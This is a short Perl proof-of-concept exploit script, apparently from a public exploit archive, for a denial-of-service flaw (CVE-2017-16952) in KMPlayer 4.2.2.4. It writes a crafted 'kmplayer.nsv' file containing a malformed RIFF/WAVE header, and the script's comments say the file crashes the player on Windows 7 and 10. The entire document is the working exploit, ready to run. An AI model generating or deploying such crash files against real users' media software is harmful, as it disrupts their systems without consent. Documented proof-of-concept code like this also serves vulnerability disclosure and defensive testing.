#!/usr/bin/perl
# Exploit Title: KMPlayer .nsv Denial of Service
# Date: 2017-11-22
# Exploit Author: R.Yavari
# Version: v4.2.2.4 
# Tested on: Windows 10 , Windows 7
# other version should be affected
# NSV is Streaming video container format developed by Nullsoft; used for streaming video clips over the Internet,
# such as video feeds for Winamp TV; supports multiple types of compression and can include multiple audio tracks, subtitles, and other data.
# CVE-2017-16952
# http://cdn.kmplayer.com/KMP/Download/release/chrome/4.2.2.4/KMPlayer_4.2.2.4.exe
# (D.P)

open(code, ">kmplayer.nsv") || die "can't create crash sample.$!";
binmode(code);
$data = 
"\x52\x49\x46\x46\xc2\x58\x01\x00\x57\x41\x56\x45";
print code $data;
 
close(code);